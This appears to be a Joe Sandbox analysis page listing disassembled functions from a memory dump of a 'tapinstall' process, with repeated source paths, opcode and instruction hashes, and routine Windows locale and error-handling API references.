                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Info
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1807457897-0
                                                                                                                      • Opcode ID: 0d4af5a3afae456f38438869c21824332240df2c44c52117edcedc5ea83f20a3
                                                                                                                      • Instruction ID: 0655975bec5ffedb79d7438a30451b94c215832d7eb3abcb47fe40ff70cb9330
                                                                                                                      • Opcode Fuzzy Hash: 0d4af5a3afae456f38438869c21824332240df2c44c52117edcedc5ea83f20a3
                                                                                                                      • Instruction Fuzzy Hash: 2112AC62A18BC1C6E752DF2894046FDB3A4FB5D748F859275EF9C82692EF38E584C310
                                                                                                                      Function 00007FF76A712920 Relevance: 1.8, APIs: 1, Instructions: 336COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 7e3abf74bf7bcf05ea57da7a9d2ca99921f0183db8ab875d81e5133ab0ee468f
                                                                                                                      • Instruction ID: 6f61e507adc659294c4657db82751026f385958f52f6664dd057499a27d5acf9
                                                                                                                      • Opcode Fuzzy Hash: 7e3abf74bf7bcf05ea57da7a9d2ca99921f0183db8ab875d81e5133ab0ee468f
                                                                                                                      • Instruction Fuzzy Hash: 8BE19C72A08B8189F721EF61E440AEE67A4FB99788F854671DE9D53782EF38D645C300
                                                                                                                      Function 00007FF76A70E810 Relevance: 1.6, APIs: 1, Instructions: 148COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e1ecf19e44403f1bf0c8ff516f15394491a0df2bb93855bb1154bab4b69c0414
                                                                                                                      • Instruction ID: 0460f79261c9281eb398ab643cb68fcc3c17874ceb4662bc0027abed6d99949a
                                                                                                                      • Opcode Fuzzy Hash: e1ecf19e44403f1bf0c8ff516f15394491a0df2bb93855bb1154bab4b69c0414
                                                                                                                      • Instruction Fuzzy Hash: A551D0A2B0869584F720AF76ED005AEBBA1BB49BE4F944274EE9D47B85CF3CD001C700
                                                                                                                      Function 00007FF76A715120 Relevance: 1.6, APIs: 1, Instructions: 70COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • GetLocaleInfoW.KERNEL32 ref: 00007FF76A715188
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLast$InfoLocale
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3736152602-0
                                                                                                                      • Opcode ID: 2daf3a8a6570d13e4a69e0773b16970abee15f26fc3cb4f4b112bd2ae792f481
                                                                                                                      • Instruction ID: 40421a96d05906662818e26c22c2ab89accb8d57ac0aca41120f89853b1ebfdd
                                                                                                                      • Opcode Fuzzy Hash: 2daf3a8a6570d13e4a69e0773b16970abee15f26fc3cb4f4b112bd2ae792f481
                                                                                                                      • Instruction Fuzzy Hash: 0F318472A08682C6FB2AAF25E4413AEB2E1FB48784F848175DB5E83645DF3CE9148710
                                                                                                                      Function 00007FF76A714D3C Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • EnumSystemLocalesW.KERNEL32(?,?,?,00007FF76A71557B,?,00000000,00000092,?,?,00000000,?,00007FF76A7027F1), ref: 00007FF76A714DDA
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2417226690-0
                                                                                                                      • Opcode ID: b310e04edf9a4858b7711b1bc3cd10a3b5863322fdd0602e956277415e6d3450
                                                                                                                      • Instruction ID: eaa54b83596e9f6cf88f8f9a9f700804ac965266c21d7791d36732b4621ea2cb
                                                                                                                      • Opcode Fuzzy Hash: b310e04edf9a4858b7711b1bc3cd10a3b5863322fdd0602e956277415e6d3450
                                                                                                                      • Instruction Fuzzy Hash: 2A11D2A3A18645CAFF25AF15D0806A8BBE0FB94FA8F888235C759433C4CE68D9D1D750
                                                                                                                      Function 00007FF76A71534C Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • GetLocaleInfoW.KERNEL32(?,?,?,00007FF76A7150CD), ref: 00007FF76A715383
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLast$InfoLocale
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3736152602-0
                                                                                                                      • Opcode ID: f0e1e85cb0904cfb13678112b23ba47b692ebdb17e326b7273fc79358d1f6376
                                                                                                                      • Instruction ID: a50005a6e8fff039fbd4fd21f95f01f8f9afca5b5838bcbdf93396f0564dae2d
                                                                                                                      • Opcode Fuzzy Hash: f0e1e85cb0904cfb13678112b23ba47b692ebdb17e326b7273fc79358d1f6376
                                                                                                                      • Instruction Fuzzy Hash: 0A113632A1C696C2F7696F12F04027DA2E4EB08B68FD81132EA2E436C4DE79DC818710
                                                                                                                      Function 00007FF76A714E0C Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • EnumSystemLocalesW.KERNEL32(?,?,?,00007FF76A715537,?,00000000,00000092,?,?,00000000,?,00007FF76A7027F1), ref: 00007FF76A714E8A
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2417226690-0
                                                                                                                      • Opcode ID: e95a6f0b37c8df2f7d892436cbea75250c8106ecf43136de523b6d98b723d434
                                                                                                                      • Instruction ID: 9f95536cf0f56d46693cf45db831babbd0488133010b640d6aed390f4e8ff752
                                                                                                                      • Opcode Fuzzy Hash: e95a6f0b37c8df2f7d892436cbea75250c8106ecf43136de523b6d98b723d434
                                                                                                                      • Instruction Fuzzy Hash: A701F5A2F08281C6F7156F15E440BB9B6E1EB48BA8F898271D268472D4CF289884D714
                                                                                                                      Function 00007FF76A707A70 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF76A708911,?,?,?,?,?,?,?,?,00000000,00007FF76A714244), ref: 00007FF76A707ABF
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: EnumLocalesSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2099609381-0
                                                                                                                      • Opcode ID: 0c79f0349c4a0605245a055538df7ef28e0d12ebb44365a436a3ebf26f8b2171
                                                                                                                      • Instruction ID: a066dce9b5f8c371e86db1a639f19f9256938c6d4c0150a785cac0482933876c
                                                                                                                      • Opcode Fuzzy Hash: 0c79f0349c4a0605245a055538df7ef28e0d12ebb44365a436a3ebf26f8b2171
                                                                                                                      • Instruction Fuzzy Hash: 24F06D72A08A41C3F704EF25E8501AAB365EB9CB80F858175EA0D83764CF3CD591C310
                                                                                                                      Function 00007FF76A714CB8 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • EnumSystemLocalesW.KERNEL32 ref: 00007FF76A714CFF
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2417226690-0
                                                                                                                      • Opcode ID: 37355801d101d15e73ed97373d1325733675572864da2e4454ebca36426ced02
                                                                                                                      • Instruction ID: 77b05b1674eb1b5ce07cc463fd55877edcb583bc41d167afc170970f0836f749
                                                                                                                      • Opcode Fuzzy Hash: 37355801d101d15e73ed97373d1325733675572864da2e4454ebca36426ced02
                                                                                                                      • Instruction Fuzzy Hash: A8F054A2A0874581EB156F65E440369B7E1EB94BA8F498271D668432D5DA78C4908300
                                                                                                                      Function 00007FF76A707B7C Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: EnumLocalesSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2099609381-0
                                                                                                                      • Opcode ID: a3705e45a4f268f33fd337935757e13d22bf4229caecad54140b34f6bcf306e8
                                                                                                                      • Instruction ID: bd3dcc30310a21b1cf08c381443b6fac50acf8a7d27d2b9de3ff959c698fd965
                                                                                                                      • Opcode Fuzzy Hash: a3705e45a4f268f33fd337935757e13d22bf4229caecad54140b34f6bcf306e8
                                                                                                                      • Instruction Fuzzy Hash: A6E065A0E08A01C2FB40EF15EC55225B361ABACBE0FC190B1DA0D87724DF3CD1819310
                                                                                                                      Function 00007FF76A707BF8 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: EnumLocalesSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2099609381-0
                                                                                                                      • Opcode ID: ae0b7570886a34609fae074dd6b97874d1210b0956683149f338bd6385165f94
                                                                                                                      • Instruction ID: f8ae071eb6b3e4038b89d07ab1015395b42e7a475c1e2fc55d88e1d7ef2e117f
                                                                                                                      • Opcode Fuzzy Hash: ae0b7570886a34609fae074dd6b97874d1210b0956683149f338bd6385165f94
                                                                                                                      • Instruction Fuzzy Hash: 48E04660E08A02C2F244EF51EC652B5B261ABEDBA0FC251B5EE0D177209F3CA2959310
                                                                                                                      Function 00007FF76A6F56FC Relevance: 1.5, Strings: 1, Instructions: 213COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 0-4108050209
                                                                                                                      • Opcode ID: 3298bf67b1f0c2be8d215b1ef692e2ed5dc4bc9733db5a3918195495d45e186b
                                                                                                                      • Instruction ID: 26642599d6d58708630946c2b492b7625d2753f6a0350c0630b0b5e71c8d1c07
                                                                                                                      • Opcode Fuzzy Hash: 3298bf67b1f0c2be8d215b1ef692e2ed5dc4bc9733db5a3918195495d45e186b
                                                                                                                      • Instruction Fuzzy Hash: D581E625E1C253C6FB68BA2980402B9A693EF40F44FCC90B6DD9D17699CE2DEC43C765
                                                                                                                      Function 00007FF76A6F3F10 Relevance: 1.5, Strings: 1, Instructions: 210COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 0-4108050209
                                                                                                                      • Opcode ID: e4dced8d68a820e1a1d04cc35ed3aba3688103cc88bf653a2760244175f13c08
                                                                                                                      • Instruction ID: 626ae9e10846833128bc03f8fd71a7eefd66ce569b6a562852273a6effa291cb
                                                                                                                      • Opcode Fuzzy Hash: e4dced8d68a820e1a1d04cc35ed3aba3688103cc88bf653a2760244175f13c08
                                                                                                                      • Instruction Fuzzy Hash: 0C710811A0C647C6FB64AB2952083BAE7A39F41F44FCC11B5DD5907BDACEADE8428721
                                                                                                                      Function 00007FF76A6F59DC Relevance: 1.5, Strings: 1, Instructions: 209COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 3215553584-4108050209
                                                                                                                      • Opcode ID: 1601ebb4a085dcb7d739bdd4eed40b615d2130470465d1318d301927c9e7c833
                                                                                                                      • Instruction ID: 197527f8c9b175e042a9e54b88157547a6dc476b3cd61886420277774cef0b3d
                                                                                                                      • Opcode Fuzzy Hash: 1601ebb4a085dcb7d739bdd4eed40b615d2130470465d1318d301927c9e7c833
                                                                                                                      • Instruction Fuzzy Hash: A171D565A1C203C2FAA8BA1990506B9A693EF40F44FCC91B6DD4E07699CF2DEC438765
                                                                                                                      Function 00007FF76A6F5430 Relevance: 1.5, Strings: 1, Instructions: 209COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 3215553584-4108050209
                                                                                                                      • Opcode ID: d97ce31363821d7e59ff7b95ab789dce6dae42c5463c516f708e9ad5742ae19f
                                                                                                                      • Instruction ID: bf077ddf107ab8ed35826339e72641c5e763b002d7b3f1088d4fc8c436683925
                                                                                                                      • Opcode Fuzzy Hash: d97ce31363821d7e59ff7b95ab789dce6dae42c5463c516f708e9ad5742ae19f
                                                                                                                      • Instruction Fuzzy Hash: B871C425E1C247C6FBA4BA1990006B9A693EF40F44FCC9175DE4E076A9CF2EEC438765
                                                                                                                      Function 00007FF76A6F41AC Relevance: 1.5, Strings: 1, Instructions: 206COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 3215553584-4108050209
                                                                                                                      • Opcode ID: 77e714d55eda6aa17527c73dbb794f803213f9d7578e7f16155016f531fb6458
                                                                                                                      • Instruction ID: 469c776e789b93ef31809af317d76f5ff819d48b83431f30757510f9d0f36f36
                                                                                                                      • Opcode Fuzzy Hash: 77e714d55eda6aa17527c73dbb794f803213f9d7578e7f16155016f531fb6458
                                                                                                                      • Instruction Fuzzy Hash: 6C71F816A1C247C6FA64AA1952083BDE793AF81F44FCC1171DD4907BDACFADE8428731
                                                                                                                      Function 00007FF76A6F3C8C Relevance: 1.5, Strings: 1, Instructions: 206COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
